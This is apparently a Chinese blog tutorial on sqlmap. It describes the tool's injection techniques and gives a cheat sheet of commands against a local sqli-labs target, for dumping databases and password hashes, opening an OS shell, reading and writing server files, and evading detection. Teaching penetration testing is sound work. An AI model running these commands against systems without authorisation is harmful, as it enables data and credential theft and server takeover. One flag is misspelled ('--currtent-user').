sqlmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术

基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
联合查询注入,在可以使用Union的情况下注入
堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap -h

sqlmap简单用法

# 探测url是否存在漏洞
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1"
# 爆出所有数据库
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --dbs
# 爆出所有数据表
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --tables
# 爆出数据库中所有列
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --columns
# 爆出数据库中所有数据
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --dump-all
# 查看当前数据库
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --current-db
# 查看当前数据库用户
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --currtent-user
# 查看当前用户名密码
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --passwords
# 查看当前用户是否有管理员权限
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --is-dba
# 查看当前数据库所有用户
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --users
# 爆出数据库security中的所有的表
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" -D security --tables
# 爆出security数据库中users表中所有列
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" -D security -T users --columns
# 爆出数据库中security中users表中username列中所有数据
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" -D security -T users -C username --dump

# 爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" -D security -T users --dump-all
# 爆出数据库security中的所有数据
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" -D security --dump-all
# 执行指定sql语句
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --sql-shell
# 获取目标服务器权限 - 需要知道对方绝对路径
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --os-shell
# 读取目标服务器C盘下test.txt文件
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --file-read "c:/test.txt"
# 上传本地的test.txt文件到目标服务器E盘下,名字为hack.txt
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --file-write test.txt --file-dest "e:/hack.txt"
# 指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
sqlmap -u "http://192.168.1.87:8082/Less-5/index.php?id=-1" --technique T
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #刷新session  
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段

--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

确定上传路径后就可以试图传文件

最后修改:2022 年 05 月 23 日
如果觉得我的文章对你有用,请随意赞赏